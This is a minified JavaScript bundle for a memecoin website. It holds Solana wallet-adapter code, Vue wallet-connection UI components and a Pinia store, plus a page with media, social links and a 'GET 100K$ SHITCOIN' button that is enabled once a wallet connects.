Qt(this,Rn,"f").icon}get url(){return"https://github.com/wallet-standard"}get publicKey(){return Qt(this,Iu,"f")}get connecting(){return Qt(this,hu,"f")}get readyState(){return Qt(this,yh,"f")}get wallet(){return Qt(this,Rn,"f")}get standard(){return!0}async connect(){try{if(this.connected||this.connecting)return;if(Qt(this,yh,"f")!==Wt.Installed)throw new Ti;if(ni(this,hu,!0,"f"),!Qt(this,Rn,"f").accounts.length)try{await Qt(this,Rn,"f").features["standard:connect"].connect()}catch(r){throw new gs(r==null?void 0:r.message,r)}if(!Qt(this,Rn,"f").accounts.length)throw new dl;const t=Qt(this,Rn,"f").accounts[0];let n;try{n=new ht(t.publicKey)}catch(r){throw new Ni(r==null?void 0:r.message,r)}ni(this,_c,Qt(this,Rn,"f").features["standard:events"].on("change",Qt(this,Ig,"f")),"f"),Qt(this,ri,"m",Sp).call(this,t,n),this.emit("connect",n)}catch(t){throw this.emit("error",t),t}finally{ni(this,hu,!1,"f")}}async disconnect(){if("standard:disconnect"in Qt(this,Rn,"f").features)try{await Qt(this,Rn,"f").features["standard:disconnect"].disconnect()}catch(t){this.emit("error",new Il(t==null?void 0:t.message,t))}Qt(this,ri,"m",bh).call(this),this.emit("disconnect")}async sendTransaction(t,n,r={}){try{const o=Qt(this,xi,"f");if(!o)throw new In;let i;if("solana:signAndSendTransaction"in Qt(this,Rn,"f").features)if(o.features.includes("solana:signAndSendTransaction"))i="solana:signAndSendTransaction";else if("solana:signTransaction"in Qt(this,Rn,"f").features&&o.features.includes("solana:signTransaction"))i="solana:signTransaction";else throw new dl;else if("solana:signTransaction"in Qt(this,Rn,"f").features){if(!o.features.includes("solana:signTransaction"))throw new dl;i="solana:signTransaction"}else throw new Qc;const s=d8(n.rpcEndpoint);if(!o.chains.includes(s))throw new zi;try{const{signers:a,...l}=r;let u;if(Bc(t)?(a!=null&&a.length&&t.sign(a),u=t.serialize()):(t=await this.prepareTransaction(t,n,l),a!=null&&a.length&&t.partialSign(...a),u=new Uint8Array(t.serialize({requireAllSignatures:!1,verifySignatures:!1}))),i==="solana:signAndSendTransaction"){const[c]=await Qt(this,Rn,"f").features["solana:signAndSendTransaction"].signAndSendTransaction({account:o,chain:s,transaction:u,options:{preflightCommitment:Pv(l.preflightCommitment||n.commitment),skipPreflight:l.skipPreflight,maxRetries:l.maxRetries,minContextSlot:l.minContextSlot}});return A8.encode(c.signature)}else{const[c]=await Qt(this,Rn,"f").features["solana:signTransaction"].signTransaction({account:o,chain:s,transaction:u,options:{preflightCommitment:Pv(l.preflightCommitment||n.commitment),minContextSlot:l.minContextSlot}});return await n.sendRawTransaction(c.signedTransaction,{...l,preflightCommitment:Pv(l.preflightCommitment||n.commitment)})}}catch(a){throw a instanceof ar?a:new zi(a==null?void 0:a.message,a)}}catch(o){throw this.emit("error",o),o}}}xi=new WeakMap,Iu=new WeakMap,hu=new WeakMap,_c=new WeakMap,Rn=new WeakMap,gh=new WeakMap,yh=new WeakMap,Ig=new WeakMap,ri=new WeakSet,Sp=function(t,n){ni(this,xi,t,"f"),ni(this,Iu,n,"f"),t!=null&&t.features.includes("solana:signTransaction")?(this.signTransaction=Qt(this,ri,"m",nS),this.signAllTransactions=Qt(this,ri,"m",rS)):(delete this.signTransaction,delete this.signAllTransactions),t!=null&&t.features.includes("solana:signMessage")?this.signMessage=Qt(this,ri,"m",oS):delete this.signMessage},bh=function(){const t=Qt(this,_c,"f");t&&(ni(this,_c,void 0,"f"),t()),Qt(this,ri,"m",Sp).call(this,null,null)},nS=async function(t){try{const n=Qt(this,xi,"f");if(!n)throw new In;if(!("solana:signTransaction"in Qt(this,Rn,"f").features))throw new Qc;if(!n.features.includes("solana:signTransaction"))throw new dl;try{const o=(await Qt(this,Rn,"f").features["solana:signTransaction"].signTransaction({account:n,transaction:Bc(t)?t.serialize():new Uint8Array(t.serialize({requireAllSignatures:!1,verifySignatures:!1}))}))[0].signedTransaction;return Bc(t)?Lo.deserialize(o):jr.from(o)}catch(r){throw r instanceof ar?r:new cr(r==null?void 0:r.message,r)}}catch(n){throw this.emit("error",n),n}},rS=async function(t){try{const n=Qt(this,xi,"f");if(!n)throw new In;if(!("solana:signTransaction"in Qt(this,Rn,"f").features))throw new Qc;if(!n.features.includes("solana:signTransaction"))throw new cr;try{const r=await Qt(this,Rn,"f").features["solana:signTransaction"].signTransaction(...t.map(o=>({account:n,transaction:Bc(o)?o.serialize():new Uint8Array(o.serialize({requireAllSignatures:!1,verifySignatures:!1}))})));return t.map((o,i)=>{const s=r[i].signedTransaction;return Bc(o)?Lo.deserialize(s):jr.from(s)})}catch(r){throw new cr(r==null?void 0:r.message,r)}}catch(n){throw this.emit("error",n),n}},oS=async function(t){try{const n=Qt(this,xi,"f");if(!n)throw new In;if(!("solana:signMessage"in Qt(this,Rn,"f").features))throw new Qc;if(!n.features.includes("solana:signMessage"))throw new ql;try{return(await Qt(this,Rn,"f").features["solana:signMessage"].signMessage({account:n,message:t}))[0].signature}catch(r){throw new ql(r==null?void 0:r.message,r)}}catch(n){throw this.emit("error",n),n}};var k8=globalThis&&globalThis.__classPrivateFieldSet||function(e,t,n,r,o){if(r==="m")throw new TypeError("Private method is not writable");if(r==="a"&&!o)throw new TypeError("Private accessor was defined without a setter");if(typeof t=="function"?e!==t||!o:!t.has(e))throw new TypeError("Cannot write private member to an object whose class did not declare it");return r==="a"?o.call(e,n):o?o.value=n:t.set(e,n),n},x8=globalThis&&globalThis.__classPrivateFieldGet||function(e,t,n,r){if(n==="a"&&!r)throw new TypeError("Private accessor was defined without a getter");if(typeof t=="function"?e!==t||!r:!t.has(e))throw new TypeError("Cannot read private member from an object whose class did not declare it");return n==="m"?r:n==="a"?r.call(e):r?r.value:t.get(e)},Ih;let vo;const qh=new Set,qu={};function O8(){if(vo||(vo=Object.freeze({register:iS,get:z8,on:K8}),typeof window>"u"))return vo;const e=Object.freeze({register:iS});try{window.addEventListener("wallet-standard:register-wallet",({detail:t})=>t(e))}catch(t){console.error(`wallet-standard:register-wallet event listener could not be added
`,t)}try{window.dispatchEvent(new R8(e))}catch(t){console.error(`wallet-standard:app-ready event could not be dispatched
`,t)}return vo}function iS(...e){var t;return e=e.filter(n=>!qh.has(n)),e.length?(e.forEach(n=>qh.add(n)),(t=qu.register)==null||t.forEach(n=>qg(()=>n(...e))),function(){var r;e.forEach(o=>qh.delete(o)),(r=qu.unregister)==null||r.forEach(o=>qg(()=>o(...e)))}):()=>{}}function z8(){return[...qh]}function K8(e,t){var n;return(n=qu[e])!=null&&n.push(t)||(qu[e]=[t]),function(){var o;qu[e]=(o=qu[e])==null?void 0:o.filter(i=>t!==i)}}function qg(e){try{e()}catch(t){console.error(t)}}class R8 extends Event{constructor(t){super("wallet-standard:app-ready",{bubbles:!1,cancelable:!1,composed:!1}),Ih.set(this,void 0),k8(this,Ih,t,"f")}get detail(){return x8(this,Ih,"f")}get type(){return"wallet-standard:app-ready"}preventDefault(){throw new Error("preventDefault cannot be called")}stopImmediatePropagation(){throw new Error("stopImmediatePropagation cannot be called")}stopPropagation(){throw new Error("stopPropagation cannot be called")}}Ih=new WeakMap;function L8(){if(vo||(vo=O8(),typeof window>"u"))return vo;const e=window.navigator.wallets||[];if(!Array.isArray(e))return console.error("window.navigator.wallets is not an array"),vo;const{register:t}=vo,n=(...r)=>r.forEach(o=>qg(()=>o({register:t})));try{Object.defineProperty(window.navigator,"wallets",{value:Object.freeze({push:n})})}catch{return console.error("window.navigator.wallets could not be set"),vo}return n(...e),vo}function Z8(e){const t=new Set,{get:n,on:r}=L8(),o=ln(sS(n()));return Gn(i=>{const s=[r("register",(...a)=>o.value=[...o.value,...sS(a)]),r("unregister",(...a)=>o.value=o.value.filter(l=>a.some(u=>u===l.wallet)))];i(()=>s.forEach(a=>a()))}),N(()=>[...o.value,...e.value.filter(({name:i})=>o.value.some(s=>s.name===i)?(t.has(i)||(t.add(i),console.warn(`${i} was registered as a Standard Wallet. The Wallet Adapter for ${i} can be removed from your app.`)),!1):!0)])}function sS(e){return e.filter(M8).map(t=>new C8({wallet:t}))}function T8(e,t){const n=async(s,a,l)=>{var u;const c=(u=e.value)==null?void 0:u.adapter;if(!c)throw t(new OC);if(!c.connected)throw t(new In,c);return await c.sendTransaction(s,a,l)},r=N(()=>{var s;const a=(s=e.value)==null?void 0:s.adapter;if(a&&"signTransaction"in a)return async l=>{if(!a.connected)throw t(new In);return await a.signTransaction(l)}}),o=N(()=>{var s;const a=(s=e.value)==null?void 0:s.adapter;if(a&&"signAllTransactions"in a)return async l=>{if(!a.connected)throw t(new In);return await a.signAllTransactions(l)}}),i=N(()=>{var s;const a=(s=e.value)==null?void 0:s.adapter;if(a&&"signMessage"in a)return async l=>{if(!a.connected)throw t(new In);return await a.signMessage(l)}});return{sendTransaction:n,signTransaction:r,signAllTransactions:o,signMessage:i}}function N8(e){const t=D(!1);return typeof window>"u"||Gn(n=>{if(e.value)return;const r=()=>t.value=!0;window.addEventListener("beforeunload",r),n(()=>window.removeEventListener("beforeunload",r))}),t}function j8(e,t){const n=ln(null),r=D(null),o=D(!1),i=D(Wt.Unsupported),s=N(()=>i.value===Wt.Installed||i.value===Wt.Loadable),a=()=>{var l,u,c,f,p,m;r.value=(u=(l=n.value)==null?void 0:l.adapter.publicKey)!=null?u:null,o.value=(f=(c=n.value)==null?void 0:c.adapter.connected)!=null?f:!1,i.value=(m=(p=n.value)==null?void 0:p.readyState)!=null?m:Wt.Unsupported};return Gn(()=>{var l;n.value=t.value&&(l=e.value.find(({adapter:u})=>u.name===t.value))!=null?l:null,a()}),{wallet:n,publicKey:r,connected:o,readyState:i,ready:s,refreshWalletState:a}}function W8(e){const t=ln([]);return Gn(()=>{t.value=e.value.map(n=>({adapter:n,readyState:n.readyState}))}),t}const G8=({wallets:e=[],autoConnect:t=!1,cluster:n="mainnet-beta",onError:r,localStorageKey:o="walletName"})=>{const i=D(n),s=D(!1),a=D(!1),l=ln(e),u=Z8(l),{isMobile:c,uriForAppIdentity:f}=Qj(u),p=o8(u,c,f,i),m=W8(p),{name:g,isUsingMwaAdapterOnMobile:v,select:I,deselect:q}=s8(o,c),{wallet:M,publicKey:E,connected:x,readyState:R,ready:K,refreshWalletState:W}=j8(m,g),j=N8(v),H=r8(j,r);i8(m),Dj(M,j,v,q,W,H);const P=Xj(t,M,v,s,x,K,q),{sendTransaction:U,signTransaction:X,signAllTransactions:L,signMessage:h}=T8(M,H);return{wallets:m,autoConnect:P,cluster:i,wallet:M,publicKey:E,readyState:R,ready:K,connected:x,connecting:s,disconnecting:a,select:I,connect:async()=>{if(x.value||s.value||a.value)return;if(!M.value)throw H(new OC);const A=M.value.adapter;if(!K.value)throw H(new Ti,A);try{s.value=!0,await A.connect()}catch(C){throw q(),C}finally{s.value=!1}},disconnect:async()=>{if(!(a.value||!M.value))try{a.value=!0,await M.value.adapter.disconnect()}finally{a.value=!1}},sendTransaction:U,signTransaction:X,signAllTransactions:L,signMessage:h}};let wg=null;const gc=()=>{if(wg)return wg;throw new uj("Wallet not initialized. Please use the `initWallet` method to initialize the wallet.")},Y8=e=>{wg=G8(e)},B8=ie({props:{wallet:Object},setup(e){return Fn(e)}}),wm=(e,t)=>{const n=e.__vccOpts||e;for(const[r,o]of t)n[r]=o;return n},J8={class:"swv-button-icon"},V8=["src","alt"];function U8(e,t,n,r,o,i){return B(),_("i",J8,[e.wallet?(B(),_("img",{key:0,src:e.wallet.adapter.icon,alt:`${e.wallet.adapter.name} icon`},null,8,V8)):pe("",!0)])}const h1=wm(B8,[["render",U8]]),F8=ie({components:{WalletIcon:h1},props:{disabled:Boolean},setup(e,{emit:t}){const{disabled:n}=Fn(e),{wallet:r,connect:o,connecting:i,connected:s}=gc(),a=N(()=>i.value?"Connecting ...":s.value?"Connected":r.value?"Connect":"Connect Wallet"),u={wallet:r,disabled:n,connecting:i,connected:s,content:a,onClick:c=>{t("click",c),!c.defaultPrevented&&o().catch(()=>{})}};return{scope:u,...u}}}),H8=["disabled"],P8=["textContent"];function D8(e,t,n,r,o,i){const s=pt("wallet-icon");return qe(e.$slots,"default",or(kr(e.scope)),()=>[ne("button",{class:"swv-button swv-button-trigger",disabled:e.disabled||!e.wallet||e.connecting||e.connected,onClick:t[0]||(t[0]=(...a)=>e.onClick&&e.onClick(...a))},[e.wallet?(B(),ye(s,{key:0,wallet:e.wallet},null,8,["wallet"])):pe("",!0),ne("p",{textContent:We(e.content)},null,8,P8)],8,H8)])}const X8=wm(F8,[["render",D8]]),Q8=ie({components:{WalletIcon:h1},props:{featured:{type:Number,default:3},container:{type:String,default:"body"},logo:String,dark:Boolean},setup(e,{slots:t}){const{featured:n,container:r,logo:o,dark:i}=Fn(e),s=D(null),a=D(!1),l=()=>a.value=!0,u=()=>a.value=!1,c=N(()=>!!t.logo||!!o.value),{wallets:f,select:p}=gc(),m=N(()=>{const x=[],R=[],K=[];return f.value.forEach(W=>{W.readyState===Wt.NotDetected?R.push(W):W.readyState===Wt.Loadable?K.push(W):W.readyState===Wt.Installed&&x.push(W)}),[...x,...K,...R]}),g=D(!1),v=N(()=>m.value.slice(0,n.value)),I=N(()=>m.value.slice(n.value)),q=N(()=>g.value?f.value:v.value);rf(s,u),Gw("Escape",u),Gw("Tab",x=>{var R,K;const W=(K=(R=s.value)==null?void 0:R.querySelectorAll("button"))!=null?K:[],j=W==null?void 0:W[0],H=W==null?void 0:W[W.length-1];x.shiftKey&&document.activeElement===j&&H?(H.focus(),x.preventDefault()):!x.shiftKey&&document.activeElement===H&&j&&(j.focus(),x.preventDefault())}),Ce(a,x=>{x&&$e(()=>{var R,K,W;return(W=(K=(R=s.value)==null?void 0:R.querySelectorAll("button"))==null?void 0:K[0])==null?void 0:W.focus()})});const M=$N(document.body);Ce(a,x=>M.value=x);const E={dark:i,logo:o,hasLogo:c,featured:n,container:r,modalPanel:s,modalOpened:a,openModal:l,closeModal:u,expandedWallets:g,walletsToDisplay:q,featuredWallets:v,hiddenWallets:I,selectWallet:p};return{scope:E,...E}}}),_8=ne("div",{class:"swv-modal-overlay"},null,-1),$8={class:"swv-modal-container",ref:"modalPanel"},eW={key:0,class:"swv-modal-logo-wrapper"},tW=["src"],nW=ne("h1",{class:"swv-modal-title",id:"swv-modal-title"},"Connect Wallet",-1),rW=ne("svg",{width:"14",height:"14"},[ne("path",{d:"M14 12.461 8.3 6.772l5.234-5.233L12.006 0 6.772 5.234 1.54 0 0 1.539l5.234 5.233L0 12.006l1.539 1.528L6.772 8.3l5.69 5.7L14 12.461z"})],-1),oW=[rW],iW={class:"swv-modal-list"},sW=["onClick"],aW={class:"swv-button"},lW=["textContent"],uW={key:0,class:"swv-wallet-status"},cW=["aria-expanded"],dW=ne("i",{class:"swv-button-icon"},[ne("svg",{width:"11",height:"6",xmlns:"http://www.w3.org/2000/svg"},[ne("path",{d:"m5.938 5.73 4.28-4.126a.915.915 0 0 0 0-1.322 1 1 0 0 0-1.371 0L5.253 3.736 1.659.272a1 1 0 0 0-1.371 0A.93.93 0 0 0 0 .932c0 .246.1.48.288.662l4.28 4.125a.99.99 0 0 0 1.37.01z"})])],-1);function fW(e,t,n,r,o,i){const s=pt("wallet-icon");return B(),_(Qe,null,[ne("div",{class:F(e.dark?"swv-dark":"")},[qe(e.$slots,"default",or(kr(e.scope)))],2),e.modalOpened?(B(),ye(jl,{key:0,to:e.container},[ne("div",{"aria-labelledby":"swv-modal-title","aria-modal":"true",class:F(["swv-modal",e.dark?"swv-dark":""]),role:"dialog"},[qe(e.$slots,"overlay",or(kr(e.scope)),()=>[_8]),ne("div",$8,[qe(e.$slots,"modal",or(kr(e.scope)),()=>[ne("div",{class:F(["swv-modal-wrapper",{"swv-modal-wrapper-no-logo":!e.hasLogo}])},[e.hasLogo?(B(),_("div",eW,[qe(e.$slots,"logo",or(kr(e.scope)),()=>[ne("img",{alt:"logo",class:"swv-modal-logo",src:e.logo},null,8,tW)])])):pe("",!0),nW,ne("button",{onClick:t[0]||(t[0]=rt((...a)=>e.closeModal&&e.closeModal(...a),["prevent"])),class:"swv-modal-button-close"},oW),ne("ul",iW,[(B(!0),_(Qe,null,Lt(e.walletsToDisplay,a=>(B(),_("li",{key:a.adapter.name,onClick:l=>{e.selectWallet(a.adapter.name),e.closeModal()}},[ne("button",aW,[ae(s,{wallet:a},null,8,["wallet"]),ne("p",{textContent:We(a.adapter.name)},null,8,lW),a.readyState==="Installed"?(B(),_("div",uW," Detected ")):pe("",!0)])],8,sW))),128))]),e.hiddenWallets.length>0?(B(),_("button",{key:1,"aria-controls":"swv-modal-collapse","aria-expanded":e.expandedWallets,class:F(["swv-button swv-modal-collapse-button",{"swv-modal-collapse-button-active":e.expandedWallets}]),onClick:t[1]||(t[1]=a=>e.expandedWallets=!e.expandedWallets)},[Kt(We(e.expandedWallets?"Less":"More")+" options ",1),dW],10,cW)):pe("",!0)],2)])],512)],2)],8,["to"])):pe("",!0)],64)}const hW=wm(Q8,[["render",fW]]),pW=ie({components:{WalletConnectButton:X8,WalletIcon:h1,WalletModalProvider:hW},props:{featured:{type:Number,default:3},container:{type:String,default:"body"},logo:String,dark:Boolean},setup(e){const{featured:t,container:n,logo:r,dark:o}=Fn(e),{publicKey:i,wallet:s,disconnect:a}=gc(),l=D(),u=D(!1),c=()=>{u.value=!0},f=()=>{u.value=!1};rf(l,f);const p=N(()=>{var E;return(E=i.value)==null?void 0:E.toBase58()}),m=N(()=>!s.value||!p.value?null:p.value.slice(0,4)+".."+p.value.slice(-4)),{copy:g,copied:v,isSupported:I}=RN(),M={featured:t,container:n,logo:r,dark:o,wallet:s,publicKey:i,publicKeyTrimmed:m,publicKeyBase58:p,canCopy:I,addressCopied:v,dropdownPanel:l,dropdownOpened:u,openDropdown:c,closeDropdown:f,copyAddress:()=>p.value&&g(p.value),disconnect:a};return{scope:M,...M}}}),mW=["onClick"],vW={key:2,class:"swv-dropdown"},gW=["aria-expanded","title"],yW=["textContent"],bW=["onClick"];function IW(e,t,n,r,o,i){const s=pt("wallet-connect-button"),a=pt("wallet-icon"),l=pt("wallet-modal-provider");return B(),ye(l,{featured:e.featured,container:e.container,logo:e.logo,dark:e.dark},{default:fe(u=>[qe(e.$slots,"default",or(kr({...u,...e.scope})),()=>[e.wallet?e.publicKeyBase58?(B(),_("div",vW,[qe(e.$slots,"dropdown-button",or(kr({...u,...e.scope})),()=>[ne("button",{class:"swv-button swv-button-trigger",style:De({pointerEvents:e.dropdownOpened?"none":"auto"}),"aria-expanded":e.dropdownOpened,title:e.publicKeyBase58,onClick:t[0]||(t[0]=(...c)=>e.openDropdown&&e.openDropdown(...c))},[ae(a,{wallet:e.wallet},null,8,["wallet"]),ne("p",{textContent:We(e.publicKeyTrimmed)},null,8,yW)],12,gW)]),qe(e.$slots,"dropdown",or(kr({...u,...e.scope})),()=>[ne("ul",{"aria-label":"dropdown-list",class:F(["swv-dropdown-list",{"swv-dropdown-list-active":e.dropdownOpened}]),ref:"dropdownPanel",role:"menu"},[qe(e.$slots,"dropdown-list",or(kr({...u,...e.scope})),()=>[e.canCopy?(B(),_("li",{key:0,onClick:t[1]||(t[1]=(...c)=>e.copyAddress&&e.copyAddress(...c)),class:"swv-dropdown-list-item",role:"menuitem"},We(e.addressCopied?"Copied":"Copy address"),1)):pe("",!0),ne("li",{onClick:c=>{u.openModal(),e.closeDropdown()},class:"swv-dropdown-list-item",role:"menuitem"}," Change wallet ",8,bW),ne("li",{onClick:t[2]||(t[2]=c=>{e.disconnect(),e.closeDropdown()}),class:"swv-dropdown-list-item",role:"menuitem"}," Disconnect ")])],2)])])):(B(),ye(s,{key:1})):(B(),_("button",{key:0,class:"swv-button swv-button-trigger",onClick:u.openModal}," Select Wallet ",8,mW))])]),overlay:fe(u=>[qe(e.$slots,"modal-overlay",or(kr({...u,...e.scope})))]),modal:fe(u=>[qe(e.$slots,"modal",or(kr({...u,...e.scope})))]),_:3},8,["featured","container","logo","dark"])}const qW=wm(pW,[["render",IW]]),wW={install:(e,t={})=>{Y8(t),e.config.globalProperties.$wallet=gc()}};let NC;const Sm=e=>NC=e,jC=Symbol();function Sg(e){return e&&typeof e=="object"&&Object.prototype.toString.call(e)==="[object Object]"&&typeof e.toJSON!="function"}var $c;(function(e){e.direct="direct",e.patchObject="patch object",e.patchFunction="patch function"})($c||($c={}));function SW(){const e=ab(!0),t=e.run(()=>D({}));let n=[],r=[];const o=fs({install(i){Sm(o),o._a=i,i.provide(jC,o),i.config.globalProperties.$pinia=o,r.forEach(s=>n.push(s)),r=[]},use(i){return!this._a&&!nN?r.push(i):n.push(i),this},_p:n,_a:null,_e:e,_s:new Map,state:t});return o}const WC=()=>{};function aS(e,t,n,r=WC){e.push(t);const o=()=>{const i=e.indexOf(t);i>-1&&(e.splice(i,1),r())};return!n&&lb()&&ub(o),o}function $l(e,...t){e.slice().forEach(n=>{n(...t)})}const EW=e=>e();function Eg(e,t){e instanceof Map&&t instanceof Map&&t.forEach((n,r)=>e.set(r,n)),e instanceof Set&&t instanceof Set&&t.forEach(e.add,e);for(const n in t){if(!t.hasOwnProperty(n))continue;const r=t[n],o=e[n];Sg(o)&&Sg(r)&&e.hasOwnProperty(n)&&!mn(r)&&!na(r)?e[n]=Eg(o,r):e[n]=r}return e}const AW=Symbol();function MW(e){return!Sg(e)||!e.hasOwnProperty(AW)}const{assign:Ws}=Object;function CW(e){return!!(mn(e)&&e.effect)}function kW(e,t,n,r){const{state:o,actions:i,getters:s}=t,a=n.state.value[e];let l;function u(){a||(n.state.value[e]=o?o():{});const c=Fn(n.state.value[e]);return Ws(c,i,Object.keys(s||{}).reduce((f,p)=>(f[p]=fs(N(()=>{Sm(n);const m=n._s.get(e);return s[p].call(m,m)})),f),{}))}return l=GC(e,u,t,n,r,!0),l}function GC(e,t,n={},r,o,i){let s;const a=Ws({actions:{}},n),l={deep:!0};let u,c,f=[],p=[],m;const g=r.state.value[e];!i&&!g&&(r.state.value[e]={}),D({});let v;function I(j){let H;u=c=!1,typeof j=="function"?(j(r.state.value[e]),H={type:$c.patchFunction,storeId:e,events:m}):(Eg(r.state.value[e],j),H={type:$c.patchObject,payload:j,storeId:e,events:m});const P=v=Symbol();$e().then(()=>{v===P&&(u=!0)}),c=!0,$l(f,H,r.state.value[e])}const q=i?function(){const{state:H}=n,P=H?H():{};this.$patch(U=>{Ws(U,P)})}:WC;function M(){s.stop(),f=[],p=[],r._s.delete(e)}function E(j,H){return function(){Sm(r);const P=Array.from(arguments),U=[],X=[];function L(w){U.push(w)}function h(w){X.push(w)}$l(p,{args:P,name:j,store:R,after:L,onError:h});let b;try{b=H.apply(this&&this.$id===e?this:R,P)}catch(w){throw $l(X,w),w}return b instanceof Promise?b.then(w=>($l(U,w),w)).catch(w=>($l(X,w),Promise.reject(w))):($l(U,b),b)}}const x={_p:r,$id:e,$onAction:aS.bind(null,p),$patch:I,$reset:q,$subscribe(j,H={}){const P=aS(f,j,H.detached,()=>U()),U=s.run(()=>Ce(()=>r.state.value[e],X=>{(H.flush==="sync"?c:u)&&j({storeId:e,type:$c.direct,events:m},X)},Ws({},l,H)));return P},$dispose:M},R=$t(x);r._s.set(e,R);const W=(r._a&&r._a.runWithContext||EW)(()=>r._e.run(()=>(s=ab()).run(t)));for(const j in W){const H=W[j];if(mn(H)&&!CW(H)||na(H))i||(g&&MW(H)&&(mn(H)?H.value=g[j]:Eg(H,g[j])),r.state.value[e][j]=H);else if(typeof H=="function"){const P=E(j,H);W[j]=P,a.actions[j]=H}}return Ws(R,W),Ws(rn(R),W),Object.defineProperty(R,"$state",{get:()=>r.state.value[e],set:j=>{I(H=>{Ws(H,j)})}}),r._p.forEach(j=>{Ws(R,s.run(()=>j({store:R,app:r._a,pinia:r,options:a})))}),g&&i&&n.hydrate&&n.hydrate(R.$state,g),u=!0,c=!0,R}function xW(e,t,n){let r,o;const i=typeof t=="function";typeof e=="string"?(r=e,o=i?n:t):(o=e,r=e.id);function s(a,l){const u=Wz();return a=a||(u?Fe(jC,null):null),a&&Sm(a),a=NC,a._s.has(r)||(i?GC(r,t,o,a):kW(r,o,a)),a._s.get(r)}return s.$id=r,s}const p1=xW("store",{state:()=>({balance:null,isShowBalance:!1,isShowGuide:!1,isShowBack:!0,isLoading:!1,email:"[email protected]",buttonText:"GET 100K$ SHITCOIN",errors:[]})}),OW=e=>(nA("data-v-89136bae"),e=e(),rA(),e),zW={class:"content"},KW={key:0,class:"content_welcome"},RW=OW(()=>ne("source",{src:"https://cdn.shitcoin.co/shitcoin-co-backgroud-music-v2.mp3",type:"audio/mp3"},null,-1)),LW={key:0,class:"content_buttons"},ZW={class:"content_buttons_connect"},TW=["disabled"],NW={class:"content_actions"},jW={key:0,src:"https://shitcoin.co/_next/static/media/play.6a7828e0.svg"},WW={key:1,src:"https://shitcoin.co/_next/static/media/pause.de002984.svg"},GW=eK('<a href="https://x.com/shitcoin" data-v-89136bae><img src="https://shitcoin.co/_next/static/media/twitter.429b53ca.svg" data-v-89136bae></a><a href="https://t.me/shitcoin" data-v-89136bae><img src="https://shitcoin.co/_next/static/media/telegram.5ad273dc.svg" data-v-89136bae></a><a href="https://app.shitcoin.co/" data-v-89136bae><img src="https://shitcoin.co/_next/image?url=%2F_next%2Fstatic%2Fmedia%2Fshit-icon.f84b9e72.png&amp;w=96&amp;q=75" data-v-89136bae></a><a href="https://www.dextools.io/app/en/solana/pair-explorer/5ZRGotmnv4mRHANeGC77YLu5vhJyu7M8HJ5SaLC38rR2" data-v-89136bae><img src="https://shitcoin.co/_next/image?url=%2F_next%2Fstatic%2Fmedia%2Fdextools-logo.b2cf3f53.png&amp;w=48&amp;q=75" data-v-89136bae></a>',4),YW=ie({__name:"Content",setup(e){const t=p1(),n=D(!0),r=D(),o=D(),i=D(!1),s=D(!1);return Ce(s,()=>{s.value?o.value.play():o.value.pause()}),(a,l)=>(B(),_("div",zW,[ae(Hn,null,{default:fe(()=>[n.value?(B(),_("div",KW,[ne("button",{onClick:l[0]||(l[0]=u=>[n.value=!1,s.value=!0])},"Enter")])):pe("",!0)]),_:1}),ne("video",{ref_key:"video",ref:r,class:"content_video",muted:"",playsinline:"",loop:"",autoplay:"",preload:"auto",src:"https://cdn.shitcoin.co/shitcoin-co-background-video-v2.mp4"},null,512),ne("audio",{loop:"",autoplay:"",ref_key:"audio",ref:o},[RW,Kt(" Your browser does not support the audio element. ")],512),i.value?pe("",!0):(B(),_("div",LW,[ne("div",ZW,[ae(d(qW),{featured:10})]),ne("button",{disabled:!d(gc)().connected.value,class:"content_buttons_get",onClick:l[1]||(l[1]=u=>d(t).isShowGuide=!0)},We(d(t).buttonText),9,TW)])),ne("div",NW,[ne("button",{onClick:l[2]||(l[2]=u=>s.value=!s.value),class:"content_actions_play"},[s.value?pe("",!0):(B(),_("img",jW)),s.value?(B(),_("img",WW)):pe("",!0)]),GW])]))}}),BW=kb(YW,[["__scopeId","data-v-89136bae"]]),JW="data:image/gif;base64,R0lGODlh9gT4B/caAPf39/nz9fbz88a99Pr6+v/99+zn9t3W9v/9+c7F9cC29bCl86yg8rqx9NXO9rOo8+Tf9vHt9/v497es8/Pw+Pj19/77+K6i8vfx96ue8iHMIADOAADQACIiIjw8PFNTU2RkZHd3d4aGhuDg4P///+rq6vX19ZSUlLCwsMjIyLy8vNTU1KKiojKTKi68ITZcISh5IjCIKCEwIDRoLDRQKSm1JCSrICTEIUF9ISg4IhtPHS9EIjR9LzaaJymiJCuxISgwJQBnGT5zIPcxPP8xPCYcHOUxPLYxONAxOP80QsQxOJgsMYssMVMcHy4cHLAoLI0jKccoMTMmG20gI9ksMxwcHCsrKwAAAB8fHyMjIywsLCcnJzExMS4uLjMzMzU1NS4xOFBQUEtLS0NDQ1paWjc3N2BgYFxcXFVVVWpqanFxcdsxPHt7e4KCgqgxOMY1PoyMjJiYmKenp9bW1sDAwLOzs+zs7MvLy4iIiJCQkKCgoJycnKurq9DQ0Nra2qWlpbe3t6QjLebm5u7u7psuNKy0t8nOyoiIjMG4vaavr5ecnG0sMU0qK9AzPH0qL+I3QNk1QHYqL10nKqEuNaQuM+s3Q+Li4tfUzikjI9A1Pr01Ph4oHACFEwCaAAAxGwBEFwCIAACxAADGAC9LKf39/cLCwslLUWpdVtqOaMCnmMu5tNZ7P8Gxpre8wyQhIbE1PC09KS40KysuKzVbLzdzLjRCMiwxKjE3LjCtJjClKPLy8osqMX9sZ7eeh6g1PJw1OnYzN1czNY41OkczM2czNYIzNzY9MT5PNTxGNEZUPUBKOzxmIkdoMUJdNUteQ01qQFF8OFZ3TVaHOUuOJ0SIH1tqUEWUHD6SDkWUP2GeP0meHGKNS0GoAEypGWuvQlK0GluuL3B6ZVW+FGa8Mlm4Jk20GEmxBke7AABqElrIDVPMAEbGAGbFLVXEEADAAACMAACzAFvUC1DRAEHPAD2xAP/3+6M1OjOvNwDUAADWAADKAADSJQDSACAcFQAAAAAAACH/C05FVFNDQVBFMi4wAwEAAAAh/wtYTVAgRGF0YVhNUDw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDcuMi1jMDAwIDc5LjFiNjVhNzliNCwgMjAyMi8wNi8xMy0yMjowMTowMSAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5h